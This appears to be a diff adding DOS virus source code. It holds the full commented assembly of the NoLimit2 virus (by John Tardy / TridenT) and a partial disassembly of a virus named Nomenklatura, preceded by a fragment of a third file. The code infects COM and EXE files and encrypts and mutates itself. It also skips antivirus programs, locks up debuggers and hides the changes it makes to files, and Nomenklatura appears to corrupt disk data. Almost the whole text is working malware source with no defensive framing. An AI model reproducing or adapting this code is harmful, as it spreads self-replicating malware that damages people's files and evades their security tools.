Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
|
||||
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
|
||||
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
|
||||
|
||||
DB Version ; Virus version number
|
||||
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
EndOfVir Equ $
|
|
@ -0,0 +1,280 @@
|
|||
;
|
||||
; NoLimit2 Virus by John Tardy / TridenT
|
||||
;
|
||||
; Limited version of Servant Virus
|
||||
;
|
||||
; Bugs Fixed from 1:
|
||||
; With encryption, not all possibilities were used. Solved.
|
||||
|
||||
Version Equ 2 ; Initial release.
|
||||
|
||||
Org 0h ; Creates a .BIN file.
|
||||
|
||||
; This piece of code is located at the begin of the file
|
||||
|
||||
Start: Jmp MainVir ; Jump to the main virus.
|
||||
|
||||
Db '*' ; Infection marker.
|
||||
|
||||
; This will be appended to the victim
|
||||
|
||||
MainVir: Lea Si,Decr ; This is the decryptor, which
|
||||
DecrOfs Equ $-2 ; is mutated from the main
|
||||
Mov Cx,DecrLen ; virus. It uses a simple xor
|
||||
Decrypt: Xor B [Si],0 ; algorithm. It uses three
|
||||
DecVal Equ $-1 ; different index regs, Si, Di
|
||||
Incer: Inc Si ; or Bx. The Xor OpCode can be
|
||||
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
|
||||
MainLen Equ $-Mainvir ; LoopNz.
|
||||
|
||||
; From here everything is encrypted
|
||||
|
||||
Decr: Call On1 ; Get Offset of the appended
|
||||
On1: Pop BP ; virus by pushing the call on
|
||||
Sub BP,On1 ; the stack and retrieve the
|
||||
; address.
|
||||
|
||||
Mov W TrapIt[Bp],KillDebug ; This routine restores the
|
||||
Lea Si,OrgPrg[Bp] ; beginning of the original
|
||||
TrapIt Equ $-2 ; file, except when run from
|
||||
Mov Di,100h ; a debugger. It will then
|
||||
Push Di ; put the routine at
|
||||
Push Ax ; KillDebug in place of that,
|
||||
Movsw ; this locking the system
|
||||
Movsw ; after infection and
|
||||
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
|
||||
Mov W TrapIt[Bp],OrgPrg ;
|
||||
|
||||
Mov Ah,19h ; We don't want to infect
|
||||
Int 21h ; programs on floppy drive,
|
||||
Cmp Al,2 ; we then go to NoHD.
|
||||
Jb NoHD ;
|
||||
|
||||
Mov Ah,1ah ; Use a new DTA.
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
In Al,21h ; This makes DOS DEBUG to
|
||||
Or Al,2 ; hang and thus making
|
||||
Out 21h,Al ; beginning virus-researchers
|
||||
Xor Al,2 ; a hard time.
|
||||
Out 21h,Al ;
|
||||
|
||||
Mov Ah,4eh ; Search a .COM file in the
|
||||
Search: Lea Dx,FileSpec[BP] ; current directory.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Jnc Found ; If found, goto found,
|
||||
NoHD: Jmp Ready ; else goto ready.
|
||||
|
||||
KillDebug: Cli ; The routine that will be
|
||||
Jmp KillDebug ; activated by the antidebug
|
||||
; part.
|
||||
|
||||
Db '[NoLimit2] John Tardy / Trident '
|
||||
|
||||
; Here follows a table of filenames to avoid with infecting.
|
||||
|
||||
Tabel Db 'CA' ; Catcher (Gobbler).
|
||||
Db 'VA' ; Validate (McAfee).
|
||||
Db 'GU' ; Guard (Dr. Solomon).
|
||||
Db 'CO' ; Command.Com (Microsoft).
|
||||
Db '4D' ; 4Dos (JP Software).
|
||||
Db 'VS' ; VSafe (CPav).
|
||||
Db 'TB' ; TbDel (Esass).
|
||||
TabLen Equ $-Tabel
|
||||
|
||||
|
||||
Found: Mov Bx,[0fd1eh] ; This routine checks if
|
||||
Lea Si,Tabel[Bp] ; the candidate file begins
|
||||
Mov Cx,TabLen/2 ; with the chars in the table
|
||||
ChkNam: Lodsw ; above. If so, it goes to
|
||||
Cmp Ax,Bx ; SearchNext.
|
||||
Je SearchNext ;
|
||||
Loop ChkNam ;
|
||||
|
||||
mov dx,0fd1eh ; Open the file with only
|
||||
Mov Ax,3d00h ; read access.
|
||||
Int 21h ;
|
||||
|
||||
Xchg Ax,Bx ; Put Filehandle to BX.
|
||||
|
||||
Mov Ah,45h ; Duplicate Filehandle and
|
||||
Int 21h ; use the new one (confuses
|
||||
Xchg Ax,Bx ; some resident monitoring
|
||||
; software (TBFILE)).
|
||||
|
||||
mov Ax,1220h ; This is a tricky routine
|
||||
push bx ; used to get the offset
|
||||
int 2fh ; to the File Handle Table,
|
||||
mov bl,es:[di] ; where we can change
|
||||
Mov Ax,1216h ; directly some things.
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov ds,es ;
|
||||
|
||||
mov byte ptr [di+2],2 ; File now open with write
|
||||
; access.
|
||||
|
||||
mov al,b [di+4] ; Store old file attributes
|
||||
mov b [di+4],0 ; and clear it.
|
||||
push ax ;
|
||||
|
||||
push ds ; Store FHT on the stack.
|
||||
push di ;
|
||||
|
||||
mov ds,cs ; Restore old Ds and Es
|
||||
mov es,cs ; (with .COM equal to Cs).
|
||||
|
||||
Mov Ah,3fh ; Read the first 4 bytes
|
||||
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
|
||||
Mov Cx,4 ; (the call remember?)).
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
|
||||
Cmp Ax,'ZM' ; .EXE file. If so, goto
|
||||
Je ExeFile ; ExeFile.
|
||||
Cmp Ax,'MZ' ;
|
||||
Je ExeFile ;
|
||||
|
||||
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
|
||||
|
||||
Jne Infect ; If not so, goto Infect.
|
||||
|
||||
ExeFile: Call Close ; Call file close routine.
|
||||
|
||||
SearchNext: Mov Ah,4fh ; And search the next victim.
|
||||
Jmp Search ;
|
||||
|
||||
Infect: Mov Ax,4202h ; Jump to EOF.
|
||||
Cwd ;
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Sub Ax,3 ; Calculate the Jump and the
|
||||
Mov CallPtr[BP+1],Ax ; decryptor offset values.
|
||||
Add Ax,(Offset Decr+0ffh) ;
|
||||
Mov DecrOfs[Bp],Ax ;
|
||||
|
||||
Call EncryptIt ; Call Encryption engine.
|
||||
|
||||
Mov Ah,40h ; Write the decoder to the
|
||||
Lea Dx,MainVir[Bp] ; end of the file.
|
||||
Mov Cx,MainLen ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And append the encrypted
|
||||
Lea Dx,EndOfVir[BP] ; main virus body to it
|
||||
Mov Cx,DecrLen ; also.
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4200h ; Jump to the beginning of
|
||||
Cwd ; the file.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And write the jump to the
|
||||
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
|
||||
Mov Cx,4 ; the file.
|
||||
Int 21h ;
|
||||
|
||||
Call Close ; Call close routine.
|
||||
|
||||
Ready: Mov Ah,1ah ; Restore the DTA.
|
||||
Mov Dx,80h ;
|
||||
Int 21h ;
|
||||
|
||||
Pop Ax ; Restore error register.
|
||||
|
||||
Ret ; Return to host (at 100h).
|
||||
|
||||
Close: Pop Si
|
||||
|
||||
pop di ; Restore FHT offset again.
|
||||
pop ds ;
|
||||
|
||||
or b [di+6],40h ; Do not change file date/time
|
||||
; stamps.
|
||||
|
||||
pop ax ; Restore file attributes.
|
||||
mov b [di+4],al ;
|
||||
|
||||
Mov Ah,3eh ; Close file.
|
||||
Int 21h ;
|
||||
|
||||
mov ds,cs ; Restore Ds segment.
|
||||
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
|
||||
|
||||
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
|
||||
|
||||
OrgPrg: Int 20h ; Original 4 bytes of the
|
||||
Nop ; host program.
|
||||
Nop ;
|
||||
|
||||
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
|
||||
Mov Ds,Ax ; random value).
|
||||
Mov Ax,W Ds:[046ch] ;
|
||||
Xchg Al,Ah ;
|
||||
|
||||
Push Ax
|
||||
Mov Ah,2ch ;
|
||||
Int 21h ;
|
||||
Pop Ax ;
|
||||
Not Cx ;
|
||||
Add Ax,Cx ;
|
||||
Adc Ax,Dx ;
|
||||
Mov Ds,Cs ;
|
||||
|
||||
Test Al,1 ;
|
||||
Jnz GenKey ;
|
||||
Xor B Decrypt[Bp],2 ; Make the Xor variable.
|
||||
|
||||
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
|
||||
Lea Si,Decr[Bp] ; to the address just at the
|
||||
Lea Di,EndOfVir[Bp] ; end of the virus.
|
||||
Mov Cx,DecrLen ;
|
||||
Push Ax ;
|
||||
Encrypt: Lodsb ;
|
||||
Xor Al,Ah ;
|
||||
Stosb ;
|
||||
Loop Encrypt ;
|
||||
|
||||
Pop Ax ;
|
||||
|
||||
Test Ah,2 ; Make the Loop variable
|
||||
Jc NoGarble ; (xor works like a switch
|
||||
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
|
||||
|
||||
Add Al,Ah ; Read the different
|
||||
And Ax,0003h ; Si, Di, Bx instructions
|
||||
Mov Si,Ax ; from the table and store
|
||||
Add Si,PolyTable ; them into the decrytor, thus
|
||||
Add Si,Bp ; making it recognizable only
|
||||
Lodsb ; at 4 bytes. (or nibble
|
||||
Mov B MainVir[Bp],Al ; checking is usable).
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Decrypt[Bp+1],Al ;
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Incer[Bp],Al ;
|
||||
|
||||
NoGarble: Ret ; Return to called
|
||||
|
||||
; Table with functions for polymorphing
|
||||
|
||||
PolyTable Equ $
|
||||
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
|
||||
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
|
||||
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
|
||||
|
||||
DB Version ; Virus version number
|
||||
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
EndOfVir Equ $
|
|
@ -0,0 +1,562 @@
|
|||
|
||||
PAGE 60,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ NOMNCLTR ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 19-Jan-92 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
.286c
|
||||
|
||||
data_1e equ 4Ch ; (0000:004C=0E9h)
|
||||
data_2e equ 84h ; (0000:0084=9Eh)
|
||||
data_3e equ 46Ch ; (0000:046C=66CDh)
|
||||
data_4e equ 3 ; (5C42:0003=0FFFFh)
|
||||
data_5e equ 12h ; (5C42:0012=0)
|
||||
data_17e equ 1610h ; (5C43:1610=0)
|
||||
data_18e equ 4BAAh ; (5C43:4BAA=0)
|
||||
data_19e equ 5C43h ; (5C43:5C43=0)
|
||||
data_20e equ 0FE52h ; (5C43:FE52=0)
|
||||
data_21e equ 0FFDBh ; (5C43:FFDB=0)
|
||||
|
||||
code_seg_a segment
|
||||
assume cs:code_seg_a, ds:code_seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
nomncltr proc far
|
||||
|
||||
start:
|
||||
jmp loc_2
|
||||
db 35 dup (90h)
|
||||
data_7 dw 9090h ; Data table (indexed access)
|
||||
data_8 dw 9090h ; Data table (indexed access)
|
||||
db 30 dup (90h)
|
||||
data_9 dw 9090h ; Data table (indexed access)
|
||||
db 651 dup (90h)
|
||||
data_10 dw 9090h
|
||||
data_11 dw 9090h
|
||||
db 169 dup (90h)
|
||||
data_12 db 90h
|
||||
db 125 dup (90h)
|
||||
loc_2:
|
||||
jmp loc_34
|
||||
db 'Nomenklatura'
|
||||
db 0, 80h, 0FCh, 4Bh, 74h, 0Ah
|
||||
db 80h, 0FCh
|
||||
db 3Dh, 74h
|
||||
data_13 dd 2EFF2E14h
|
||||
data_14 dw 3D9h
|
||||
data_15 db 3Ch
|
||||
db 0AAh, 72h
|
||||
data_16 dw 550Bh
|
||||
db 8Bh, 0ECh, 80h, 66h, 6, 0FEh
|
||||
db 5Dh, 0B0h, 3, 0CFh, 6, 1Eh
|
||||
db 57h, 56h, 55h, 52h, 51h, 53h
|
||||
db 50h, 0FCh, 72h, 22h, 0B9h, 80h
|
||||
db 0, 8Bh, 0F2h
|
||||
|
||||
locloop_4:
|
||||
lodsb ; String [si] to al
|
||||
or al,al ; Zero ?
|
||||
loopnz locloop_4 ; Loop if zf=0, cx>0
|
||||
|
||||
mov cx,432Eh
|
||||
sub si,3
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,4D4Fh
|
||||
je loc_5 ; Jump if equal
|
||||
cmp ax,4558h
|
||||
jne loc_9 ; Jump if not equal
|
||||
mov ch,ah
|
||||
loc_5:
|
||||
cmp [si-4],cx
|
||||
jne loc_9 ; Jump if not equal
|
||||
loc_6:
|
||||
mov ax,3D02h
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call sub_1
|
||||
jc loc_9 ; Jump if carry Set
|
||||
xchg ax,bx
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get/set file date & time
|
||||
push cx
|
||||
push dx
|
||||
mov di,515h
|
||||
mov word ptr [di],12Bh
|
||||
mov [di+2],cs
|
||||
mov word ptr [di+4],3B2h
|
||||
mov [di+6],cs
|
||||
call sub_5
|
||||
mov dx,4FDh
|
||||
mov si,dx
|
||||
mov cl,18h
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
jc loc_8 ; Jump if carry Set
|
||||
cmp word ptr [si],5A4Dh
|
||||
jne loc_7 ; Jump if not equal
|
||||
call sub_2
|
||||
jmp short loc_8
|
||||
loc_7:
|
||||
call sub_4
|
||||
loc_8:
|
||||
mov ax,5701h
|
||||
pop dx
|
||||
pop cx
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get/set file date & time
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
call sub_5
|
||||
loc_9:
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop ds
|
||||
pop es
|
||||
jmp loc_3
|
||||
|
||||
nomncltr endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
mov cx,[si+16h]
|
||||
add cx,[si+8]
|
||||
mov ax,10h
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,[si+14h]
|
||||
adc dx,0
|
||||
push dx
|
||||
push ax
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
test dx,dx
|
||||
jnz loc_10 ; Jump if not zero
|
||||
cmp ax,400h
|
||||
jae loc_10 ; Jump if above or =
|
||||
pop ax
|
||||
pop dx
|
||||
ret
|
||||
loc_10:
|
||||
mov di,ax
|
||||
mov bp,dx
|
||||
pop cx
|
||||
sub ax,cx
|
||||
pop cx
|
||||
sbb dx,cx
|
||||
cmp word ptr [si+0Ch],0
|
||||
je loc_ret_13 ; Jump if equal
|
||||
test dx,dx
|
||||
jnz loc_11 ; Jump if not zero
|
||||
cmp ax,400h
|
||||
je loc_ret_13 ; Jump if equal
|
||||
loc_11:
|
||||
mov dx,bp
|
||||
mov ax,di
|
||||
push dx
|
||||
push ax
|
||||
add ax,400h
|
||||
adc dx,0
|
||||
mov cx,200h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
mov [si+2],dx
|
||||
test dx,dx
|
||||
jz loc_12 ; Jump if zero
|
||||
inc ax
|
||||
loc_12:
|
||||
mov [si+4],ax
|
||||
pop ax
|
||||
pop dx
|
||||
mov di,10h
|
||||
div di ; ax,dx rem=dx:ax/reg
|
||||
sub ax,[si+8]
|
||||
les di,dword ptr [si+14h] ; Load 32 bit ptr
|
||||
mov data_10,di ; (5C43:03D5=9090h)
|
||||
mov data_11,es ; (5C43:03D7=9090h)
|
||||
mov [si+14h],dx
|
||||
mov [si+16h],ax
|
||||
call sub_3
|
||||
jc loc_ret_13 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,si
|
||||
mov cx,18h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
|
||||
loc_ret_13:
|
||||
ret
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov cx,400h
|
||||
mov dx,100h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
xor cx,ax
|
||||
cmc ; Complement carry
|
||||
jnz loc_ret_14 ; Jump if not zero
|
||||
mov ax,4200h
|
||||
mov dx,cx
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
|
||||
loc_ret_14:
|
||||
ret
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
cmp ax,400h
|
||||
jb loc_ret_17 ; Jump if below
|
||||
cmp ax,0FA00h
|
||||
jae loc_ret_17 ; Jump if above or =
|
||||
push ax
|
||||
cmp byte ptr [si],0E9h
|
||||
jne loc_16 ; Jump if not equal
|
||||
sub ax,403h
|
||||
cmp ax,[si+1]
|
||||
jne loc_16 ; Jump if not equal
|
||||
loc_15:
|
||||
pop ax
|
||||
ret
|
||||
loc_16:
|
||||
call sub_3
|
||||
jc loc_15 ; Jump if carry Set
|
||||
pop ax
|
||||
sub ax,3
|
||||
mov dx,3D5h
|
||||
mov si,dx
|
||||
mov byte ptr cs:[si],0E9h
|
||||
mov cs:[si+1],ax
|
||||
mov ah,40h ; '@'
|
||||
mov cx,3
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
|
||||
loc_ret_17:
|
||||
ret
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
xor ax,ax ; Zero register
|
||||
mov es,ax
|
||||
mov si,515h
|
||||
mov di,90h
|
||||
mov cx,2
|
||||
|
||||
locloop_18:
|
||||
lodsw ; String [si] to ax
|
||||
xchg ax,dx
|
||||
lodsw ; String [si] to ax
|
||||
xchg dx,es:[di]
|
||||
xchg ax,es:[di+2]
|
||||
mov [si-4],dx
|
||||
mov [si-2],ax
|
||||
mov di,4Ch
|
||||
loop locloop_18 ; Loop if cx > 0
|
||||
|
||||
ret
|
||||
sub_5 endp
|
||||
|
||||
db 2Eh, 80h, 3Eh, 1Fh, 5, 0
|
||||
db 74h, 12h, 41h, 75h, 0Eh, 32h
|
||||
db 0E4h, 2Eh, 86h, 26h, 1Fh, 5
|
||||
db 0F5h, 2Eh, 8Bh, 0Eh, 22h, 5
|
||||
db 41h, 49h, 9Ch, 50h, 9Ch, 0Eh
|
||||
db 0E8h, 0EFh, 0, 73h, 7, 83h
|
||||
db 0C4h, 4, 0F9h, 0E9h, 0C8h, 0
|
||||
loc_19:
|
||||
pop ax
|
||||
sub ah,2
|
||||
cmp ah,2
|
||||
jae loc_28 ; Jump if above or =
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push ds
|
||||
loc_20:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
xor dx,dx ; Zero register
|
||||
mov cx,100h
|
||||
mov si,bx
|
||||
push si
|
||||
|
||||
locloop_21:
|
||||
lods word ptr es:[si] ; String [si] to ax
|
||||
dec ax
|
||||
cmp ax,0FFF5h
|
||||
jae loc_23 ; Jump if above or =
|
||||
cmp ax,bx
|
||||
jne loc_22 ; Jump if not equal
|
||||
inc dh
|
||||
loc_22:
|
||||
xchg ax,bx
|
||||
inc dx
|
||||
inc bx
|
||||
loc_23:
|
||||
loop locloop_21 ; Loop if cx > 0
|
||||
|
||||
pop si
|
||||
shr dl,1 ; Shift w/zeros fill
|
||||
clc ; Clear carry flag
|
||||
jz loc_25 ; Jump if zero
|
||||
cmp dl,dh
|
||||
jae loc_25 ; Jump if above or =
|
||||
clc ; Clear carry flag
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,520h
|
||||
inc word ptr [bx]
|
||||
jnz loc_25 ; Jump if not zero
|
||||
inc word ptr ds:data_20e[bx] ; (5C43:FE52=0)
|
||||
mov al,ds:data_21e[bx] ; (5C43:FFDB=0)
|
||||
add al,0F8h
|
||||
jnc loc_24 ; Jump if carry=0
|
||||
mov al,0FFh
|
||||
loc_24:
|
||||
mov [bx+1],al
|
||||
xor bx,bx ; Zero register
|
||||
mov ds,bx
|
||||
mov ax,ds:data_3e ; (0000:046C=66D9h)
|
||||
xchg bl,ah
|
||||
add bx,bx
|
||||
add bx,si
|
||||
add ax,ax
|
||||
add si,ax
|
||||
push es
|
||||
pop ds
|
||||
mov ax,[bx]
|
||||
xchg ax,[si]
|
||||
mov [bx],ax
|
||||
stc ; Set carry flag
|
||||
loc_25:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
jnc loc_26 ; Jump if carry=0
|
||||
mov ax,301h
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call sub_7
|
||||
loc_26:
|
||||
pop ax
|
||||
jc loc_27 ; Jump if carry Set
|
||||
dec al
|
||||
jnz loc_20 ; Jump if not zero
|
||||
loc_27:
|
||||
pop ds
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
loc_28:
|
||||
pop ax
|
||||
shr ax,1 ; Shift w/zeros fill
|
||||
jnc loc_31 ; Jump if carry=0
|
||||
mov ax,100h
|
||||
jmp short loc_32
|
||||
db 0, 0, 2Eh, 0FFh, 36h, 1Dh
|
||||
db 5, 9Dh, 74h, 50h, 2Eh, 88h
|
||||
db 26h, 1Fh, 5, 2Eh, 89h, 0Eh
|
||||
db 22h, 5, 2Eh, 3Ah, 26h, 82h
|
||||
db 4, 75h, 3, 80h, 0F4h, 1
|
||||
loc_29:
|
||||
push cx
|
||||
mov cx,0FFFFh
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call sub_6
|
||||
pop cx
|
||||
pushf ; Push flags
|
||||
cmp cs:data_15,0 ; (5C43:051F=3Ch)
|
||||
loc_30:
|
||||
jne loc_30 ; Jump if not equal
|
||||
popf ; Pop flags
|
||||
jnc loc_32 ; Jump if carry=0
|
||||
cmp ah,1
|
||||
stc ; Set carry flag
|
||||
jnz loc_32 ; Jump if not zero
|
||||
loc_31:
|
||||
xor ax,ax ; Zero register
|
||||
loc_32:
|
||||
sti ; Enable interrupts
|
||||
ret 2 ; Return far
|
||||
db 2Eh, 3Ah, 26h, 83h, 4, 74h
|
||||
db 0F3h, 84h, 0E4h, 74h, 0EFh, 80h
|
||||
db 0FCh, 1, 74h, 5, 80h, 0FCh
|
||||
db 5, 72h, 0ADh
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
jmp cs:data_13 ; (5C43:0519=2E14h)
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_7:
|
||||
loc_33:
|
||||
jmp far ptr loc_37
|
||||
sub_6 endp
|
||||
|
||||
loc_34:
|
||||
push ds
|
||||
call sub_8
|
||||
push cs
|
||||
add [di],dl
|
||||
add ss:data_17e[bp],bx ; (5C43:1610=0)
|
||||
add ds:data_18e[bx+si],di ; (5C43:4BAA=0)
|
||||
int 21h ; DOS Services ah=function 03h
|
||||
; get char al from serial port
|
||||
jnc loc_35 ; Jump if carry=0
|
||||
pop si
|
||||
push si
|
||||
push es
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
les bx,dword ptr ds:data_1e ; (0000:004C=0FE9h) Load 32 bit ptr
|
||||
mov ah,13h
|
||||
int 2Fh ; Multiplex/Spooler al=func 00h
|
||||
; get installed status
|
||||
push es
|
||||
push bx
|
||||
mov ah,13h
|
||||
int 2Fh ; Multiplex/Spooler al=func 00h
|
||||
; get installed status
|
||||
pop word ptr cs:[si-8]
|
||||
pop bx
|
||||
mov cs:[si-6],bx
|
||||
mov ax,es
|
||||
cmp ax,bx
|
||||
les bx,dword ptr ds:data_2e ; (0000:0084=109Eh) Load 32 bit ptr
|
||||
push cs
|
||||
pop ds
|
||||
pushf ; Push flags
|
||||
pop data_9[si] ; (5C43:0148=9090h)
|
||||
mov [si+4],bx
|
||||
mov [si+6],es
|
||||
pop ax
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov bx,43h
|
||||
sub ds:data_5e,bx ; (5C42:0012=0)
|
||||
sub ds:data_4e,bx ; (5C42:0003=0FFFFh)
|
||||
inc ax
|
||||
add ax,ds:data_4e ; (5C42:0003=0FFFFh)
|
||||
push ax
|
||||
sub ax,10h
|
||||
push ax
|
||||
mov ds,ax
|
||||
mov dx,2BCh
|
||||
mov ah,13h
|
||||
int 2Fh ; Multiplex/Spooler al=func 32h
|
||||
pop dx
|
||||
pop es
|
||||
xor di,di ; Zero register
|
||||
push cs
|
||||
pop ds
|
||||
inc data_7[si] ; (5C43:0126=9090h)
|
||||
sub si,2D5h
|
||||
mov cx,41Fh
|
||||
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
|
||||
mov ax,0FE00h
|
||||
stosb ; Store al to es:[di]
|
||||
stosw ; Store ax to es:[di]
|
||||
mov es,cx
|
||||
mov di,84h
|
||||
mov ax,110h
|
||||
stosw ; Store ax to es:[di]
|
||||
xchg ax,dx
|
||||
stosw ; Store ax to es:[di]
|
||||
loc_35:
|
||||
pop si
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
xor ax,ax ; Zero register
|
||||
cmp data_8[si],5A4Dh ; (5C43:0128=9090h)
|
||||
jne loc_36 ; Jump if not equal
|
||||
mov dx,es
|
||||
add dx,10h
|
||||
add [si+2],dx
|
||||
push es
|
||||
pop ds
|
||||
jmp dword ptr cs:[si] ; 1 entry
|
||||
